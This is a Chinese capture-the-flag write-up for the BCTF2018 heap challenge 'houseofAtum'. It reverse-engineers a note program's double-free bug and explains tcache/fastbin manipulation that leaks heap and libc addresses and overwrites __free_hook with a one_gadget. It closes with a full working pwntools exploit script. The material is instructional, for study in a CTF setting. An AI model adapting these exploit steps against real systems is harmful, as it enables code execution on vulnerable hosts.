[堆利用:TCache机制]hauseofAtum 题目链接:https://github.com/blue-lotus/BCTF2018/tree/master/pwn/houseofAtum
0x00 逆向分析 菜单:
1 2 3 4 5 6 7 8 9 __int64 menu () { puts ("1. new" ); puts ("2. edit" ); puts ("3. delete" ); puts ("4. show" ); printf ("Your choice:" ); return getint(); }
功能:1.创建note
1 2 3 4 5 6 7 8 9 10 11 12 13 int alloc () { int i; for ( i = 0 ; i <= 1 && notes[i]; ++i ) ; if ( i == 2 ) return puts ("Too many notes!" ); printf ("Input the content:" ); notes[i] = malloc (0x48 uLL); readn((void *)notes[i], 0x48 LL); return puts ("Done!" ); }
注意点:只能存在两个堆块,存在两个之后再创建会提示太多了。因此要在只有两个堆块的情况下完成。
1 2 3 4 ssize_t __fastcall readn (void *a1, size_t a2) { return read(0 , a1, a2); }
发现他对0x48大小的堆块写了0x48大小,可能存在泄露。
2.修改
1 2 3 4 5 6 7 8 9 10 11 12 int edit () { int v1; printf ("Input the idx:" ); v1 = getint(); if ( v1 < 0 || v1 > 1 || !notes[v1] ) return puts ("No such note!" ); printf ("Input the content:" ); readn(notes[v1], 72LL ); return puts ("Done!" ); }
3.删除
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 unsigned __int64 del () { int v1; char v2[2 ]; unsigned __int64 v3; v3 = __readfsqword(0x28 u); printf ("Input the idx:" ); v1 = getint(); if ( v1 >= 0 && v1 <= 1 && notes[v1] ) { free ((void *)notes[v1]); printf ("Clear?(y/n):" ); readn(v2, 2uLL ); if ( v2[0 ] == 'y' ) notes[v1] = 0LL ; puts ("Done!" ); } else { puts ("No such note!" ); } return __readfsqword(0x28 u) ^ v3; }
这里存在一个本题关键的漏洞点: 只有返回y的时候,才会清除chunk指针,否则不清除。 这就导致如果我如果每次free都不clear,那么就可以一直对同一个堆块free。
4.打印
1 2 3 4 5 6 7 8 9 10 11 12 int show () { int v1; printf ("Input the idx:" ); v1 = getint(); if ( v1 < 0 || v1 > 1 || !notes[v1] ) return puts ("No such note!" ); printf ("Content:" ); puts ((const char *)notes[v1]); return puts ("Done!" ); }
0x01 漏洞利用 关键点:当fastbin的chunk被申请后,如果tcache未满,则会把fastbin中的chunk装入tcache。可以利用这一点,在申请fastbin的同时,将伪造堆块的指针放入tcache的entries中。 步骤: 1.先创建一个chunk0,再创建一个chunkA,在chunkA的尾部写入0x11后再释放掉(绕过top chunk的合并检测),目的是为后续修改chunk0的size腾出空间。 将chunkA多次free,再用show泄露tcache中的chunk地址(chunk_addr)。 2.释放七个相同chunk再释放一次,即可让chunk进入fastbin 3.将tcache中的chunk(后称chunk0)取出,使得tcache的counts-1变成6的同时,失去entries指针。(之后会详细解释)在取出chunk的同时写入chunk_addr - 0x20 4.申请第二个堆块(chunk1),因为此时entries为空,堆块将从fastbin中取出,因为动用了fastbin,而由于之前从tcache中拿了一个chunk ,counts是6(没满),因此,tcache会将fastbin中的chunk放入tcache中。在此操作之前,在fastbin中的chunk0的fd指针已经被改为chunk_addr - 0x20,因此tcache将会把chunk_addr - 0x10写入entries。 5.将chunk1释放,因为此时tcache已满,所以它会被放入fastbin(不会放入tcache),再将它取出(优先从tcache取出)。因为之前改写了tcache的entries,此时的chunk1已经变成我们控制chunk0 size的内鬼了。 6.通过修改chunk1的内容,使chunk0的size变为0x90再把chunk0 free掉,chunk0就会进unsorted bin。再把chunk1前0x10全改成‘A’,show chunk1,从而泄露libc基地址。 7.用chunk1把chunk0恢复原样,由于chunk0 同时存在fastbin和unsortedbin,优先从fastbin取出。再一次把chunk0的fd指针改成free_hook - 0x10,利用和上面一样的方法,把entries改为free_hook,在free_hook上创建堆块,将其地址改为onegadget。 8.随便free一个chunk,触发onegadget,完成。
0x02 详细步骤 方便阅读脚本,先放一下函数定义:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 def new (cont ): io.sendlineafter("choice:" ,'1' ) io.sendafter("content:" ,cont) def edit (idx,cont ): io.sendlineafter("choice:" ,'2' ) io.sendlineafter("idx" ,str (idx)) io.sendafter("content:" ,cont) def delete (idx,x ): io.sendlineafter("choice:" ,'3' ) io.sendlineafter("idx" ,str (idx)) io.sendlineafter("(y/n)" ,x) def show (idx ): io.sendlineafter("choice:" ,'4' ) io.sendlineafter("idx:" ,str (idx))
1.泄露chunk0地址 1 2 3 4 5 6 7 8 9 10 11 12 13 def leak (): global heap_addr new('A' ) new(p64(0 )*7 + p64(0x11 )) delete(1 ,'y' ) for i in range (6 ): delete(0 ,'n' ) show(0 ) io.recvuntil("Content:" ) heap_addr = u64(io.recv(6 ).ljust(8 ,'\x00' )) log.info("heap_addr:0x%x" % heap_addr)
先申请一个chunk,再申请第二个,在第二个chunk的最后0x08的位置放入0x11,防止top chunk合并。 把第一个chunk free六次,装满tcache,然后show,即可泄露chunk地址。 看一下代码段中#1 #2位置时的内存:
#1 可以看到紧贴topchunk的那个chunk并没有被合并
#2
可以看到此时的chunk0的next指针位已经被写入了chunk地址,它的地址正好是chunk0的用户区域起始地址。利用show()即可输出该地址。
2.泄露libc基地址 这段脚本信息量很大,分段说明
第一段 1 2 3 4 5 6 7 8 9 delete(0 ,'y' ) new(p64(heap_addr - 0x20 )) new('A' ) delete(1 ,'y' ) new(p64(0 ) + p64(0x91 ))
在上一步,tcache已被塞满,因此再delete一次,就会使chunk0被装入fastbin。 fastbin是单链表,它依靠在chunk的用户区域前0x08位置写入fd指针,来进行单链表的添加,删除操作。 chunk0是第一个进入fastbin的,它的前面没有任何chunk,因此它的fd指针为空,所以用户区域的前0x08变成了0。 但是在此之前,chunk0还在tcache的时候,它在用户区域前0x08的位置装的是tcache所用的next指针。因此它在被装入fastbin的同时,相当于清空了它的next指针位。
#1 此时的tcache和fastbin 下一步,申请一个chunk并写入heap_addr - 0x20的地址。 首先,申请会发生什么。因为tcache和fastbin中都有chunk,会优先从tcache中取出一个chunk。但是,由于上一行代码已经将chunk0的next指针清空,因此取出chunk的同时就清空了tcache的entries指针,此时的tcache有6个chunk记录(counts = 6)但是却没有指向任何chunk的指针(entries = 0)。
#2 下一步,申请一个chunk。 由于tcache中的entries已经被清空,所以只会从fastbin中取chunk。由于tcache的管理机制,如果从fastbin中申请了一个chunk,就会自动的将fastbin中其他chunk放入tcache中。 有一个小细节,因为fastbin的fd指针指向的是chunk头,而tcache的next指针指向的是chunk的用户区域,他们之间有0x10的偏移,因此当fastbin中的chunk放入tcache时,会把chunk指针的地址+0x10。 回到这次操作,申请这个chunk后,chunk0从fastbin中取出。虽然实际上fastbin中并没有两个chunk,但是在上一步,chunk0的fd指针被改了,管理器以为还有chunk,把+0x10被放入了tcache的entries。
#3 可以看到,fastbin和tcache的地址相同。但是意义不一样,tcache指向的是用户区域,而fastbin指向的是chunk头。此时只要将tcache中的chunk取出,就能够控制chunk0的chunk头。
最后两行 将之前new(‘A’)的chunk释放,因为tcache已满,所以它会被放入fastbin。 再申请一个新chunk(chunk1),因为tcache优先度比fastbin更高,所以会从tcache中取出之前构造好的地址的堆块。同时,覆盖原有的size改成0x91,使chunk大小超过fastbin范围,帮助之后泄露libc基地址。
#4 可以看到chunk的size已经变成0x91了,证明chunk1已经控制了size域(内鬼造好了)。
第二段 1 2 3 4 5 6 7 8 9 10 for i in range (7 ): delete(0 ,'n' ) delete(0 ,'y' ) edit(1 ,"A" * 0x10 ) show(1 ) io.recvuntil("A" *0x10 ) libc_base = u64(io.recv(6 ).ljust(8 ,'\x00' )) - 0x3dac78 log.info("libc_base:0x%x" % libc_base)
之后的步骤就简单了,将0x91的chunk free8次装入unsorted bin。此时chunk0的fd和bk已经被修改,只要通过chunk1用‘A’把chunk0的chunk头填满,再show chunk1,就能泄露出fd指针,通过指针再本地调试即可算出libc基地址。
#1 chunk已经被放入unsorted bin
#2 用chunk1装满chunk0的chunk头,可以看到4141已经和fd指针相连,用show即可完成泄露。 把泄露的地址和libc基地址相减计算出偏移地址,完成libc基地址计算。
3.改写__free_hook 1 2 3 4 5 6 7 8 9 10 one_gadget = libc_base + 0xfcc6e free_hook = libc_base + libc.symbols['__free_hook' ] edit(1 ,p64(0 ) + p64(0x51 ) + p64(free_hook-0x10 )) new('A' ) delete(0 ,'y' ) new(p64(one_gadget)) io.sendlineafter("choice:" ,'3' ) io.sendlineafter(":" ,'0' ) io.interactive()
用onegadget指令获取地址。通过chunk1修改chunk0的fd指针,用一样的操作,申请chunk,修改tcache的entries指针,再把它free掉,放入fastbin,再从tcache申请chunk,即可在__free_hook上创建堆块,将地址修改为one_gadget,再随便free一个chunk,完成。
0x03 脚本 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 from pwn import *from commonFunc import *io = process('./houseofAtum' ) libc = ELF('/home/bi0x/ctf/tools/glibc-all-in-one/libs/2.26-0ubuntu2_amd64/libc.so.6' ) def new (cont ): io.sendlineafter("choice:" ,'1' ) io.sendafter("content:" ,cont) def edit (idx,cont ): io.sendlineafter("choice:" ,'2' ) io.sendlineafter("idx" ,str (idx)) io.sendafter("content:" ,cont) def delete (idx,x ): io.sendlineafter("choice:" ,'3' ) io.sendlineafter("idx" ,str (idx)) io.sendlineafter("(y/n)" ,x) def show (idx ): io.sendlineafter("choice:" ,'4' ) io.sendlineafter("idx:" ,str (idx)) def leak (): global heap_addr new('A' ) new(p64(0 )*7 + p64(0x11 )) delete(1 ,'y' ) for i in range (6 ): delete(0 ,'n' ) show(0 ) io.recvuntil("Content:" ) heap_addr = u64(io.recv(6 ).ljust(8 ,'\x00' )) log.info("heap_addr:0x%x" % heap_addr) def leak_libc (): global libc_base delete(0 ,'y' ) new(p64(heap_addr - 0x20 )) new('A' ) delete(1 ,'y' ) new(p64(0 ) + p64(0x91 )) for i in range (7 ): delete(0 ,'n' ) delete(0 ,'y' ) debug(io) edit(1 ,"A" * 0x10 ) debug(io) show(1 ) io.recvuntil("A" *0x10 ) libc_base = u64(io.recv(6 ).ljust(8 ,'\x00' )) - 0x3dac78 log.info("libc_base:0x%x" % libc_base) def pwn (): one_gadget = libc_base + 0xfcc6e free_hook = libc_base + libc.symbols['__free_hook' ] edit(1 ,p64(0 ) + p64(0x51 ) + p64(free_hook-0x10 )) new('A' ) delete(0 ,'y' ) new(p64(one_gadget)) io.sendlineafter("choice:" ,'3' ) io.sendlineafter(":" ,'0' ) io.interactive() if __name__ == '__main__' : leak() leak_libc() pwn()